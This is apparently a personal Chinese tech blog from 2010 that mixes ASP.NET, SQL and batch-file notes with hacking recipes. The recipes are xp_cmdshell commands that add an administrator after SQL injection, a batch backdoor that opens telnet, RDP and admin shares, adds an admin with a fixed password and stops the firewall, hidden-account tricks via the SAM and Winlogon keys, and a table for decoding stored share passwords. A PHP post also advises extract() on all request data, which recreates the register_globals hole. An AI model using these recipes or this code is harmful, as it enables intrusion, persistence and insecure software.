magic_quotes_gpc

magic_quotes_gpc這參數也頂棒的~可以不用去管是不是要加反斜線~唉~這也是安全性的考量要拿掉嗎? 怪的~去查了一下,拿掉主要因素不一樣啦~~是因為會影響程式造成可移移植性低、效能問題及容易造成困惑,詳細請看以下的文章:


http://www.ihacklog.com/php/security_optimization/magic_quotes_gpc-and-safe_mode-in-php.html


不過這些參數,舊程式蠻都有介由他們進行自動轉換,沒了程式不就要大改了..呵~~好在還有偷吃步的方式,在 register_globals=Off的情況下,還是可以用以下程式碼達到同等效果。


<?php
if (!ini_get('register_globals'))
{
extract($_POST);
extract($_GET);
extract($_SERVER);
extract($_FILES);
extract($_ENV);
extract($_COOKIE);
if ( isset($_SESSION) )
{
extract($_SESSION);
}
}
?>

這樣只要加到會include的共用頁這樣就升級程式支援該參數被關掉了~^^
而magic_quotes_gpc被關掉也有解法,有興趣的人可以看剛剛上面那個連結,只是沒這個好改了!!

11月 23, 2010

php login

如果php.ini的register_globals = On
則我們可嘗試用http://localhost/login.php?login=yes
來嘗試繞過驗證!

11月 22, 2010

Vista/Win7叫出administrator

在 Vista 及 Windows 7 的 Professional 版或以上,可以直接用 Computer Management 去把 Administrator 的帳號弄出來。但是在 Home 及 Basic 的版本上,只有以下一種方法。首先,要先進入 Elevated Command Prompt。
到 Start -> Accessory -> command prompt. 此時按右鍵,選 run as administrator,這樣就大功告成了。//對CMD調用提權
打入 net user administrator /active:yes

11月 21, 2010

隱藏帳戶

新增完帳戶後
HKEY_LOCAL_MACHINE\SAM\SAM 先做右鍵提權再到
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
接著”000001fa4” 可能是administrator帳戶比對一下name
把新帳號和admin一起匯出
接著把F從admin複製給新帳號
順便把name裡面的新帳號匯出
刪除新帳戶後倒入登入檔!完成!

11月 20, 2010

SQL 注入提權

這邊假設你已經擁有一個SA帳戶


遇到 sql server 2005 ,恢復xp_cmdshell的辦法:

開啟XP_cmdshell:

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure
'xp_cmdshell', 1;RECONFIGURE;

開啟'OPENROWSET':

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ad Hoc Distributed Queries',1;RECONFIGURE;

開啟'sp_oacreate':

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure
'Ole Automation Procedures',1;RECONFIGURE;


EXEC master..xp_cmdshell 'net user abc 1234 /add'
EXEC master..xp_cmdshell 'net localgroup administrators zk /add'
--net user abc /del --刪除
--結束

11月 19, 2010

批次檔bat大全

set /a args=%1+%2 /%為引數
set /a a=1+3 /+a才可數值運算
set b=1+3 /字串
set s=hi
@echo %args% /輸出方式
@echo %a%
@echo %b%
@echo %s%

for %%g in (*.wma) do echo hi! /必須要用2個% TRUE做DO

if not exist *.wma ( /下面為同一行,not=反向 exist + 檔名 = 比對是否有該檔案
pause
) ELSE ( /有的話!
echo no!
)

goto renamer //也可用%變數
:renamer
set old=%1
ren %1 "%old:~9%,1000% //切掉前面9個字,另外那個逗號後的1000和前面的"可以不打!
/跳到此


call + 批次檔名稱 /呼叫外部批次檔

11月 18, 2010

xcopy

/S 複製每個目錄及其包含的子目錄。
/D 複製發生變更的檔案。
/Y 所有覆蓋的詢問都回答 YES

/D:m-d-y
複製在指定日期當天或之後發生變更的檔案。如果沒有給日期,只複製那些來源檔案日期比目的檔案日期為新的檔案。

加個排成就能自動備份了....

10月 19, 2010

修改遠端連線數

控制台->系統管理工具->遠端連線服務->遠端連線設定
對RDP-TCP右鍵->屬性-選網路設定(Network Adapter)
最大連線數預設為2

10月 14, 2010

用批次檔開啟+23+135+139+3389端口++share+幾個分享


@echo 開啟telnet服務(自動)23端口
sc config TlntSvr start= AUTO
net start telnet

@echo 開啟RPC遠程過程調用(自動)135端口
sc config RpcLocator start= AUTO
net start rpclocator

@echo 開啟NetBIOS Session Service服務(自動)139端口
@echo (TCP/IP NetBIOS 協助程序)
sc config LmHosts start= AUTO
net start lmhosts

@echo 開啟Terminal Services (終端機服務)(自動)3389端口
sc config TermService start= AUTO
net start termservice

@echo 開啟 C$共享 D$共享 ADMIN$共享 IPC$共享
net share C$=C:\
net share D$=D:\
net share ADMIN$
net share
net share netlogon

@echo 啟動一個用戶名為piece 密碼為123456 Admin權限
net user piece 123456 /add
net localgroup administrators piece /add
@echo 停止防火牆
net stop sharedaccess


9月 14, 2010

如何讓YouTube自動重複播放影片、歌曲循環播放?

許多人應該都有在YouTube上面聽音樂的習慣,大概是礙於某些問題,重複播放(Loop)功能並不是YouTube的預設功能之一,所以在聽音樂時就顯得不太方便。前幾天正巧有噗友在問如何讓YouTube的影片自動重播?我整理幾個類似功能的網站,需要的使用者可以將本篇文章加入書籤。


YouTubeRepeat

YouTubeRepeat

YouTubeRepeat 是我最常用的網站,也是我推薦給朋友用的服務。使用方法很簡單,只要在原本的YouTube影片網址後方加上一個 repeat,舉例來說:

那麼影片就會在結束後自動重新開始。

 

TubeReplay

TubeReplay

剛介紹的YouTubeRepeat要自己輸入字串,如果你覺得這樣很麻煩,那麼只要進入TubeReplay,然後將影片網址貼進去,就會自動循環播放,而且它還能夠紀錄你重複播放的次數。

 

EndLessYouTube

EndlessYouTube

這項服務又更強大了,使用者甚至可以在EndlessYouTube裡搜尋影片(支援中文)、或是設定要重複播放的時間範圍,以及顯示重播次數等等。此外,你也可以直接在YouTube網址前方加入一個endless, 就能夠自動使用EndlessYouTube的服務,例如:

 

其它類似的服務

8月 12, 2010

cmd

檔名 /extract:輸出目錄
解封裝用

7月 11, 2010

Linux vi 指令

vi

i 編輯

:wq 存檔離開

6月 23, 2010

「由於不支援指定的通訊協定,Windows Media Player 無法播放檔案。」

1. 點『開始』→『執行』,輸入『regsvr32 wmnetmgr.dll』,按『確定』。

2. 按『確定』後,再重新開啟廣播收聽。

6月 17, 2010

CSS 置底浮動footer


#bottombar { 


 background-color: #efefec; 


 position: fixed; !important; 


 width: 100%; 


 bottom: 0; 


 z-index: 5; 


 height: 34px; 


 border: 1px solid #999999; 


 background-repeat:repeat-x; 


 color:#FFFFFF; 


 _position:absolute; 


 _top:expression(document.body.scrollTop+document.body.clientHeight-this.clientHeight); 


 }


6月 13, 2010

GridView 輸出成Excel


    Protected Sub bt_excel_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles bt_excel.Click
        Response.Clear()


        Response.AddHeader("content-disposition", "attachment;filename=Export.xls")
        Response.ContentType = "application/vnd.ms-excel"
        Dim sw As New System.IO.StringWriter()
        Dim htw As New HtmlTextWriter(sw)
        GridView1.HeaderStyle.BackColor = Color.White
        GridView1.HeaderStyle.ForeColor = Color.Black
        GridView1.AlternatingRowStyle.BackColor = Color.White
        GridView1.RowStyle.BackColor = Color.White
        '關閉換頁跟排序
        'GridView1.AllowSorting = false;
        'GridView1.AllowPaging = false;


        '//移去不要的欄位
        'GridView1.Columns.RemoveAt(GridView1.Columns.Count - 1);
        'GridView1.DataBind();


        '//建立假HtmlForm避免以下錯誤
        '//Control 'GridView1' of type 'GridView' must be placed inside
        '//a form tag with runat=server.
        '//另一種做法是override VerifyRenderingInServerForm後不做任何事
        '//這樣就可以直接GridView1.RenderControl(htw);
        Response.Write("<meta http-equiv=Content-Type content=text/html;charset=utf-8>")
        GridView1.RenderControl(htw)
        'Dim hf As New HtmlForm()
        'Controls.Add(hf)
        'hf.Controls.Add(GridView1)
        'hf.RenderControl(htw)


        Response.Write(sw.ToString())
        Response.End()
    End Sub


6月 10, 2010

Calendar有資料的日期標示其他顏色


Dim year, month, day As Integer
    Protected Sub ca1_DayRender(ByVal sender As Object, ByVal e As System.Web.UI.WebControls.DayRenderEventArgs) Handles ca1.DayRender
        year = e.Day.Date.Year
        month = e.Day.Date.Month
        day = e.Day.Date.Day
        sds_count.SelectParameters("year").DefaultValue = year
        sds_count.SelectParameters("month").DefaultValue = month
        sds_count.SelectParameters("day").DefaultValue = day
        Dim dv As Data.DataView = sds_count.Select(DataSourceSelectArguments.Empty)
        If dv.Count <> 0 Then
            e.Cell.ForeColor = Drawing.Color.Peru
            'Response.Write(dv.Table.Rows(0)(0))
        End If

5月 27, 2010

DataList 分頁法


Protected Sub DataList1_PreRender(ByVal sender As Object, ByVal e As System.EventArgs) Handles DataList1.PreRender
        Dim dv As DataView = sds_add.Select(DataSourceSelectArguments.Empty)
        'datalist 分頁法
        Dim a As New PagedDataSource
        a.DataSource = dv
        a.AllowPaging = True
        a.PageSize = 5
        a.CurrentPageIndex = h1.Value
        DataList1.DataSource = a
        DataList1.DataBind()
        'Response.Write(DataList1.Items.Count)
    End Sub

5月 17, 2010

捕捉新增事件


Sub EmployeeFormView_ItemInserted(ByVal sender As Object, ByVal e As FormViewInsertedEventArgs)
 
    ' Use the Exception property to determine whether an exception
    ' occurred during the insert operation.
    If e.Exception Is Nothing Then
   
      ' Use the AffectedRows property to determine whether the
      ' record was inserted. Sometimes an error might occur that
      ' does not raise an exception, but prevents the insert
      ' operation from completing.
      If e.AffectedRows = 1 Then
     
        MessageLabel.Text = "Record inserted successfully."
     
      Else
     
        MessageLabel.Text = "An error occurred during the insert operation."
       
        ' Use the KeepInInsertMode property to remain in insert mode
        ' when an error occurs during the insert operation.
        e.KeepInInsertMode = True
     
      End If
   
    Else
   
      ' Insert the code to handle the exception.
      MessageLabel.Text = e.Exception.Message
     
      ' Use the ExceptionHandled property to indicate that the
      ' exception has already been handled.
      e.ExceptionHandled = True
      e.KeepInInsertMode = True
   
    End If
       
  End Sub


5月 11, 2010

SQL 日期函數


SELECT DATEPART(year, GETDATE()) --抓年
SELECT DATEPART(month, GETDATE()) --抓月
SELECT DATEPART(day, GETDATE()) --抓日

DATEDIFF(Day, GETDATE(), 租期止日) AS 相差天數

CONVERT(varchar(12), getdate(), 111) 轉為 yy/mm/dd

CONVERT(varchar(12), getdate(), 105) 轉為 yy-mm-dd

其他:

select CONVERT(varchar, getdate(), 120 )
2004-09-12 11:06:08

select replace(replace(replace(CONVERT(varchar, getdate(), 120 ),'-',''),' ',''),':','')
20040912110608

select CONVERT(varchar(12) , getdate(), 111 )
2004/09/12

select CONVERT(varchar(12) , getdate(), 112 )
20040912

select CONVERT(varchar(12) , getdate(), 102 )
2004.09.12

select CONVERT(varchar(12) , getdate(), 101 )
09/12/2004

select CONVERT(varchar(12) , getdate(), 103 )
12/09/2004

select CONVERT(varchar(12) , getdate(), 104 )
12.09.2004

select CONVERT(varchar(12) , getdate(), 106 )
12 09 2004

select CONVERT(varchar(12) , getdate(), 107 )
09 12, 2004

select CONVERT(varchar(12) , getdate(), 108 )
11:06:08

select CONVERT(varchar(12) , getdate(), 109 )
09 12 2004 1

select CONVERT(varchar(12) , getdate(), 110 )
09-12-2004

select CONVERT(varchar(12) , getdate(), 113 )
12 09 2004 1

select CONVERT(varchar(12) , getdate(), 114 )
11:06:08.177

4月 17, 2010

斷行法


<%# "<br/>"+Eval("留言內容").ToString.Replace(Chr(10), "<br />") %>

4月 01, 2010

滑鼠右鍵選單

執行 SendTo

gridview的連動式下拉選單


protected void ddlDepNum_1Level_DataBound(object sender, EventArgs e)

    {


        DropDownList ddl_tmp_dep = ((DropDownList)sender); //上層 部門資料


        DropDownList ddl_tmp_emp = ((DropDownList)sender).NamingContainer.FindControl("ddl_emp") as DropDownList; //下層 部門員工資料


        SqlDataSource SqlDataSource_emp = ((DropDownList)sender).NamingContainer.FindControl("sdsEmpNum") as SqlDataSource; //下層的datasource


        SqlDataSource_emp.SelectParameters["Dept"].DefaultValue = ddl_tmp_dep.SelectedValue; //上層的部門代碼參數


        ddl_tmp_emp.DataBind();


    }


 


 


ddlDepNum_1Level_SelectedIndexChanged() 事件也一併使用

3月 29, 2010

動態調用控制項



        Dim newTextbox As TextBox
        Dim i As Integer
        For i = 1 To 9
            newTextbox = New TextBox
            newTextbox.ID = "TextBox" & i.ToString
            Me.Panel1.Controls.Add(newTextbox)
            Me.Panel1.Controls.Add(New LiteralControl("<br>"))
            newTextbox.Text = "TextBox" & i.ToString
        Next

3月 21, 2010

斷行


If Label1 IsNot Nothing Then


   Label1.Text = Replace(Label1.Text, vbNewLine, "<br />")


End If


隱藏XP使用者帳戶

在〔開始〕→〔執行〕→鍵入〔regedit〕→〔HKEY_LOCAL_MACHINE〕

→ 〔SOFTWARE〕→〔Microsoft〕→〔Windows NT〕→〔CurrentVersion〕

→〔Winlogon〕→〔SpecialAccounts〕→在〔UserList〕增加一個〔DWORD〕值

〔數值名稱〕為〔abc123〕,數值資料為〔1〕= 顯示 〔0〕=隱藏

選用〔0〕=隱藏

這樣在開始畫面跟控制台的使用者帳戶 "都看不到你新增的"

怎麼登入這隱藏帳號你因該知道了吧

2月 21, 2010

如何知道共享密碼

如何知道共享密碼 (取自非人toib兄)

查看註冊表下面的地址﹕

HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Windows\CurrentVersion\Network\LanMan

看 parm1enc (根據本地機器的共享數而定)

假設您看到parmienc的鍵值為 "74d80e"

把它拆為兩個字節組合 "74 d8 0e"

看下面的表﹕

a[1] = 74, b[2] = d8, and c[3] = 0e

將發現密碼為﹕ ABC

A =74 =db =0c =e7 =12 =e8 =95 =2b
B =77 =d8 =0f =e4 =11 =eb =96 =28
C =76 =d9 =0e =e5 =10 =ea =97 =29
D =71 =de =09 =e2 =17 =ed =90 =2e
E =70 =df =08 =e3 =16 =ec =91 =2f
F =73 =dc =0b =e0 =15 =ef =92 =2c
G =72 =dd =0a =e1 =14 =ee =93 =2d
H =7d =d2 =05 =ee =1b =e1 =9c =22
I =7c =d3 =04 =ef =1a =e0 =9d =23
J =7f =d0 =07 =ec =19 =e3 =9e =20
K =7e =d1 =06 =ed =18 =e2 =9f =21
L =79 =d6 =01 =ea =1f =e5 =98 =26
M =78 =d7 =00 =eb =1e =e4 =99 =27
N =7b =d4 =03 =e8 =1d =e7 =9a =24
O =7a =d5 =02 =e9 =1c =e6 =9b =25
P =65 =ca =1d =f6 =03 =f9 =84 =3a
Q =64 =cb =1c =f7 =02 =f8 =85 =3b
R =67 =c8 =1f =f4 =01 =fb =86 =38
S =66 =c9 =1e =f5 =00 =fa =87 =39
T =61 =ce =19 =f2 =07 =fd =80 =3e
U =60 =cf =18 =f3 =06 =fc =81 =3f
V =63 =cc =1b =f0 =05 =ff =82 =3c
W =62 =cd =1a =f1 =04 =fe =83 =3d
X =6d =c2 =15 =fe =0b =f1 =8c =32
Y =6c =c3 =14 =ff =0a =f0 =8d =33
Z =6f =c0 =17 =fc =09 =f3 =8e =30
space =15 =ba =6d =86 =73 =89 =f4 =4a
1 =04 =ab =7c =97 =62 =98 =e5 =5b
2 =07 =a8 =7f =94 =61 =9b =e6 =58
3 =06 =a9 =7e =95 =60 =9a =e7 =59
4 =01 =ae =79 =92 =67 =9d =e0 =5e
5 =00 =af =78 =93 =66 =9c =e1 =5f
6 =03 =ac =7b =90 =65 =9f =e2 =5c
7 =02 =ad =7a =91 =64 =9e =e3 =5d
8 =0d =a2 =75 =9e =6b =91 =ec =52
9 =0c =a3 =74 =9f =6a =90 =ed =53
0 =05 =aa =7d =96 =63 =99 =e4 =5a
~ =4b =e4 =33 =d8 =2d =d7 =aa =14
` =55 =fa =2d =c6 =33 =c9 =b4 =0a
! =14 =bb =6c =87 =72 =88 =f5 =4b
@ =75 =da =0d =e6 =13 =e9 =94 =2a
# =16 =b9 =6e =85 =70 =8a =f7 =49
$ =11 =be =69 =82 =77 =8d =f0 =4e
% =10 =bf =68 =83 =76 =8c =f1 =4f
^ =6b =c4 =13 =f8 =0d =f7 =8a =34
& =13 =bc =6b =80 =75 =8f =f2 =4c
* =1f =b0 =67 =8c =79 =83 =fe =40
( =1d =b2 =65 =8e =7b =81 =fc =42
) =1c =b3 =64 =8f =7a =80 =fd =43
- =18 =b7 =60 =8b =7e =84 =f9 =47
_ =6a =c5 =12 =f9 =0c =f6 =8b =35
+ =1e =b1 =66 =8d =78 =82 =ff =41
= =08 =a7 =70 =9b =6e =94 =e9 =57
[ =6e =c1 =16 =fd =08 =f2 =8f =31
] =68 =c7 =10 =fb =0e =f4 =89 =37
{ =4e =e1 =36 =dd =28 =d2 =af =11
} =48 =e7 =30 =db =2e =d4 =a9 =17
; =0e =a1 =76 =9d =68 =92 =ef =51
: =0f =a0 =77 =9c =69 =93 =ee =50
' =12 =bd =6a =81 =74 =8e =f3 =4d
" =17 =b8 =6f =84 =71 =8b =f6 =48
, =19 =b6 =61 =8a =7f =85 =f8 =46
< =09 =a6 =71 =9a =6f =95 =e8 =56
. =1b =b4 =63 =88 =7d =87 =fa =44
> =0b =a4 =73 =98 =6d =97 =ea =54
? =0a =a5 =72 =99 =6c =96 =eb =55
/ =1a =b5 =62 =89 =7c =86 =fb =45
\ =69 =c6 =11 =fa =0f =f5 =88 =36
| =49 =e6 =31 =da =2f =d5 =a8 =16

2月 17, 2010

連動式下拉選單


    Protected Sub ddl_rt1_DataBound(ByVal sender As Object, ByVal e As System.EventArgs)
        '史上最強無敵在DetailsView連動式下拉選單
        SqlDataSource3.SelectParameters("區域編號").DefaultValue = CType(DetailsView1.FindControl("ddl_rt1"), DropDownList).SelectedValue
    End Sub


    Protected Sub ddl_rt1_SelectedIndexChanged(ByVal sender As Object, ByVal e As System.EventArgs)
        DetailsView1.FindControl("ddl_rt2").Dispose() ' By zk
        SqlDataSource3.SelectParameters("區域編號").DefaultValue = CType(DetailsView1.FindControl("ddl_rt1"), DropDownList).SelectedValue
    End Sub


2月 04, 2010

命令提示字元下的合併方法

copy /b a01.mpg+a02.mpg a03.mpg

1月 21, 2010

WinRAR九大不傳密技

[其  他][討論] [轉貼] WinRAR九大不傳密技

  WinRAR是大家平時用得最多的壓縮軟體,針對它的技巧文章也很多。不過,儘管如此,我們還是挖出了很多玩家沒有找出的一些獨門絕技。在此,借《電腦愛好者》一角,與大家共同探討!

密技一:注意危險自解壓程序

  相信使用WinRAR來元件服務木馬的文章大家也見到了很多。在此,建議大家,收到可執行的附件文件時,先把它們儲存起來。然後試著右擊它,選項WinRAR表單,如果其下「用WinRAR開啟」指令可用●,則表明此程序是一個自解壓程序。此時可以把該檔案的副檔名由EXE改為RAR,雙按後即可用WinRAR開啟它,這樣會安全許多。


密技二:讓WinRAR「專一」工作

  在第7期第31頁的《編輯壓縮包中的文件別讓WinRAR休息》中我們已經提醒大家,在編輯壓縮包內文件時,千萬不要關閉該壓縮包視窗,否則無法儲存對文件的修改。另外,如果在此時雙按開啟其他RAR壓縮包,WinRAR可能會自動關閉你正在修改文件的壓縮包,從而無法更新所做修改,所以建議你在WinRAR視窗中按下Ctrl+S鍵,取消「一般」標籤下的「重複使用已存在的視窗」複選框。


密技三:文件壓縮大小我先知

  開啟WinRAR視窗,選項要壓縮的文件,按下工作列上的「信息」按鈕,在開啟視窗中按下「估計」按鈕,WinRAR會給出壓縮率、壓縮包大小和壓縮這個文件需要的時間等資料,這對於你壓縮比較大的文件或資料夾非常有用。如果你希望每次按下「信息」按鈕,以後WinRAR自動對文件進行評估的話,還可以選「自動開始」選項。

密技四:快速更換驅動器

  按下Ctrl+D鍵,可在WinRAR視窗中出現電腦上所有驅動器列表,用滑鼠選項即可快速進入相應的驅動器。


密技五:批量建立資料夾

  如果在工作中,經常要建立很多相同資料夾結構(如在制作備份資料時)。那可以把這個繁瑣的工作讓WinRAR完成:先在「檔案總管」中把多個資料夾結構建好(包括其下的子資料夾),再選並右擊這些資料夾,選項WinRAR→「增加到壓縮檔案」,在開啟的設定視窗中選「壓縮選項」下的「新增自釋放格式檔案文件」前複選框,按下「確定」按鈕。再把產生後的EXE文件改名為folders.exe。以後要在哪個資料夾下建立上述資料夾,只要把這個檔案拷貝到那個資料夾下,再雙按folders.exe,按下「安裝」按鈕即可。


密技六:我的設定你別改

  啟動「記事本」,在其中輸入以下語句:
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\WinRAR\Policy]
"Menu"=dword:00000000
"Settings"=dword:00000000

  把它儲存為limitrar.reg文件,再雙按並匯入這個REG文件,把它匯入註冊表。啟動WinRAR,你會發現表單無法使用,而且按Ctrl+S鍵也無法調出「設定」和「選項工作列按鈕」視窗,相對安全多了

小提示:
★把以上語句中的00000000改為00000001,另存新檔unlim.reg。雙按匯入unlim.reg文件即可恢復表單,並允許使用「設定」視窗。
★其中的Menu項設定為0/1,用來禁止/允許WinRAR 主表單,而Settings項設定為0/1,用來禁止/允許「設定」和「選項工作列按鈕」對話視窗。
★如果你使用Windows 9x/Me,請把上面的Windows Registry Editor Version 5.00改為REGEDIT 4。


密技七:快速解壓RAR壓縮包指定文件

  如果想解壓RAR壓縮包中指定文件,可在開啟RAR文件後,選「選項」→「文件列表」→「平面資料夾檢視」。此RAR壓縮包中的所有文件會都顯示出來(包括在相應資料夾中的),此時只要像「檔案總管」中一樣,按下相應按鈕,如名稱、大小、類型、修改時間、路徑等,就能對RAR包中的所有文件進行排序,做到一目瞭然。按檔案類型排序後,配合Ctrl或Shift鍵選指定文件,用滑鼠拖放到資料夾下即可快速解壓。按下Ctrl+H鍵取消平面資料夾檢視模式。

小提示
  先把RAR包切換到平面資料夾檢視模式,再按下「類型」按鈕,該包中所有類型的文件就被放置在一起(如所有的.tmp文件),先選第一個文件,按住Shift鍵不鬆開,再按下最後一個文件,選相應文件,按下Del鍵即可刪除掉RAR包中同一類型文件。


密技八:批量轉換壓縮包

  如果你手頭上有多種格式的壓縮包,想把它們都轉換為RAR包,那可以這樣做:先把這些壓縮包放到一個資料夾下,如C:\compress。在WinRAR中選C:\compress資料夾。再按下「指令」→「轉換壓縮檔案」,在開啟的視窗中勾選「刪除原來的壓縮檔案」複選框,按下「確定」按鈕即可把它們轉換成RAR壓縮包●。通過此法,可以把ZIP、CAB、ARJ、ACE、TAR、BZ2 、UUE、GZ、LZH等壓縮包轉換成RAR格式。


密技九:重要文件,別刪

  在RAR壓縮包中刪除文件後,WinRAR會自動更新它,其中被刪除的文件無法再找到(資源回收桶中也沒有)。因此,如果壓縮包確實不再修改或比較重要,則請選此壓縮包(不要雙按開啟它),然後按Alt+L組合鍵,在開啟的視窗中驗證「禁止修改壓縮檔案」複選框被選,按下「確定」按鈕即可把此壓縮包鎖住,其中的文件便無法被修改或刪除。

  此指令只支持RAR壓縮檔案,同時,在壓縮檔案時,設定視窗中也有一個「鎖定壓縮檔案」複選框●,一旦選,產生後的壓縮包將無法再修改,它對於制作備份重要資料很有用。

1月 17, 2010

ADO.net 程式碼大全 For VB


Protected Sub LinkButton1_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles LinkButton1.Click
        'Datareader
        Dim cn As SqlConnection = New SqlConnection(ado.conn)
        Dim cmd As SqlCommand = New SqlCommand("select * from book;select * from test", cn) '讀雙資料表大絕!!
        cn.Open()
        Dim dr As SqlDataReader = cmd.ExecuteReader()
        'dr.Read() '特性為一次讀一欄
        Do While dr.Read()
            'TextBox1.Text = dr.Item("ct")
            Response.Write(dr.Item("ct") + "<br />")


        Loop
        dr.NextResult()
        Do While dr.Read()
            'TextBox1.Text = dr.Item("ct")
            Response.Write(dr.Item("ct2") + "<br />")


        Loop
        'TextBox1.Text = dr.GetValue(1)
        dr.Close()
        With cn
            .Close()
            .Dispose()
        End With
        cn = Nothing


    End Sub


    Protected Sub Button2_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button2.Click
        'dataset
        Dim cn As SqlConnection = New SqlConnection(ado.conn)
        Dim ap As SqlDataAdapter = New SqlDataAdapter("select * from book", cn)
        'Dim ap As SqlDataAdapter = New SqlDataAdapter("update set ct = @ct WHERE id = 1", cn)
        Dim dt As DataSet = New DataSet()
        ap.Fill(dt, "444")
        TextBox1.Text = dt.Tables(0).Rows(0)(1)
        Dim ap2 As SqlDataAdapter = New SqlDataAdapter("select * from test", cn) '讀雙資料表大絕!!
        ap2.Fill(dt, "555")
        Response.Write(dt.Tables("555").Rows(0)(1))
        'GridView1.DataSource = dt.Tables(0)
        'GridView1.DataBind()


    End Sub


    Protected Sub Button3_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button3.Click
        'datareader update
        Using cn As New SqlConnection(ado.conn)
            cn.Open()
            Dim cmd As New SqlCommand("update book set ct = @ct where id = 2", cn)
            cmd.Parameters.AddWithValue("@ct", TextBox1.Text)
            cmd.ExecuteNonQuery()
        End Using
        'cn.Close() 使用USING可以不需要去關閉!
    End Sub


    Protected Sub Button4_Click(ByVal sender As Object, ByVal e As System.EventArgs) Handles Button4.Click
        'dataset update
        Dim cn As SqlConnection = New SqlConnection(ado.conn)
        'Dim ap As SqlDataAdapter = New SqlDataAdapter
        Dim ap As SqlDataAdapter = New SqlDataAdapter("select * from book where id = 2", cn)
        'Dim dt As DataSet = New DataSet()
        Dim dt As DataTable = New DataTable()
        ap.Fill(dt)
        ap.InsertCommand = New SqlCommand("insert into book ct values @ct ", cn)
        ap.UpdateCommand = New SqlCommand("update book set ct = '5214' where id = 2", cn)
        'ap.UpdateCommand.CommandText = "update book set ct = @ct where id = 2"
        'ap.UpdateCommand.Parameters.AddWithValue("@ct", TextBox1.Text)
        dt.Rows(0)(1) = "555"
        ap.Update(dt) '由於update()方法會自動偵測變更選用相關command 所以他的更新方式很機車= =
    End Sub
End Class


1月 09, 2010

『ASP.NET』無法存取 IIS Metabase

遇上這個問題的話呢~

開啟visual studio--->visual studio tools 的命令提式字元~

打上aspnet_regiis -i 重新安裝 .net framework就ok了~